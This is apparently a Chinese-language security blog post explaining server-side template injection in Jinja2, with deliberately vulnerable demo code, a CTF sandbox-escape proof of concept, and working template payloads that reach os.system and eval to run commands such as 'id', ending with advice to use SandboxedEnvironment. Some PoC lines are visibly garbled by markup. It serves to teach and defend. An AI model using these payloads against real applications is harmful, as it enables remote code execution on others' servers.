本文源于老外 @nvisium 在其博客發表的博文 《Injecting Flask》,在原文中作者講解了 Python 模板引擎 Jinja2 在服務端模板注入 (SSTI) 中的具體利用方法,在能夠控制模板內容時利用環境變量中已注冊的用戶自定義函數進行惡意調用或利用渲染進行 XSS 等。
對于 Jinja2 模板引擎是否能夠在 SSTI 的情況下直接執行命令原文并沒有做出說明,并且在 Jinja2 官方文檔中也有說明,模板中并不能夠直接執行任意 Python 代碼,這樣看來在 Jinja2 中直接控制模板內容來執行 Python 代碼或者命令似乎不太可能。
最近在進行項目開發時無意中注意到 Jinja2 模板中可以訪問一些 Python 內置變量,如 []
{}
等,并且能夠使用 Python 變量類型中的一些函數,示例代碼一如下:
#!python
# coding: utf-8
import sys
from jinja2 import Template
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
為了方便演示,這里直接將命令參數輸入拼接為模板內容的一部分并進行渲染輸出,這里我們直接輸入 {{ 'abcd' }}
使模板直接渲染字符串變量:
當然上面說了可以在模板中直接調用變量實例的函數,如字符串變量中的 upper()
函數將其字符串轉換為全大寫形式:
那么如何在 Jinja2 的模板中執行 Python 代碼呢?如官方的說法是需要在模板環境中注冊函數才能在模板中進行調用,例如想要在模板中直接調用內置模塊 os
,即需要在模板環境中對其注冊,示例代碼二如下:
#!python
# coding: utf-8
import os
import sys
from jinja2 import Template
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
template.globals['os'] = os
print template.render()
執行代碼,并傳入參數 {{ os.popen('echo Hello RCE').read() }}
,因為在模板環境中已經注冊了 os
變量為 Python os
模塊,所以可以直接調用模塊函數來執行系統命令,這里執行額系統命令為 echo Hello Command Exection
:
如果使用示例代碼一來執行,會得到 os
未定義的異常錯誤:
那么,如何在未注冊 os
模塊的情況下在模板中調用 popen()
函數執行系統命令呢?前面已經說了,在 Jinja2 中模板能夠訪問 Python 中的內置變量并且可以調用對應變量類型下的方法,這一特點讓我聯想到了常見的 Python 沙盒環境逃逸方法,如 2014CSAW-CTF 中的一道 Python 沙盒繞過題目,環境代碼如下:
#!python
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
(利用 Python 特性繞過沙盒限制的詳細講解請參考 Writeup),這里給出筆者改進后的 PoC:
#!python
[c 1="c" 2="in" 3="[" language="for"][/c].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
當然通過這種方式不僅僅能夠通過 os
模塊來執行系統命令,還能進行文件讀寫等操作,具體的代碼請自行構造。
回到如何在 Jinja2 模板中直接執行代碼的問題上,因為模板中能夠訪問 Python 內置的變量和變量方法,并且還能通過 Jinja2 的模板語法去遍歷變量,因此可以構造出如下模板 Payload 來達到和上面 PoC 一樣的效果:
#!python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
使用該 Payload 作為示例代碼二的執行參數,最終會執行系統命令 id
:
當然除了遍歷找到 os
模塊外,還能直接找回 eval
函數并進行調用,這樣就能夠調用復雜的 Python 代碼。
原始的 Python PoC 代碼如下:
#!python
[a for a in [b for b in [c 1="c" 2="in" 3="[" language="for"][/c].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals.values() if type(b) == dict] if 'eval' in a.keys()][0]['eval']('__import__("os").popen("whoami").read()')
在 Jinja2 中模板 Payload 如下:
#!python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
使用該 Payload 作為示例代碼二的執行參數(注意引號轉義),成功執行會使用 eval()
函數動態載入 os
模塊并執行命令:
SSTI(服務端模板注入)。通過 SSTI 控制 Web 應用渲染模板(基于 Jinja2)內容,可以輕易的進行遠程代碼(命令)執行。當然了,一切的前提都是模板內容可控,雖然這種場景并不常見,但難免會有程序員疏忽會有特殊的需求會讓用戶控制模板的一些內容。
在 Jinja2 模板中防止利用 Python 特性執行任意代碼,可以使用 Jinja2 自帶的沙盒環境 jinja2.sandbox.SandboxedEnvironment
,Jinja2 默認沙盒環境在解析模板內容時會檢查所操作的變量屬性,對于未注冊的變量屬性訪問都會拋出錯誤。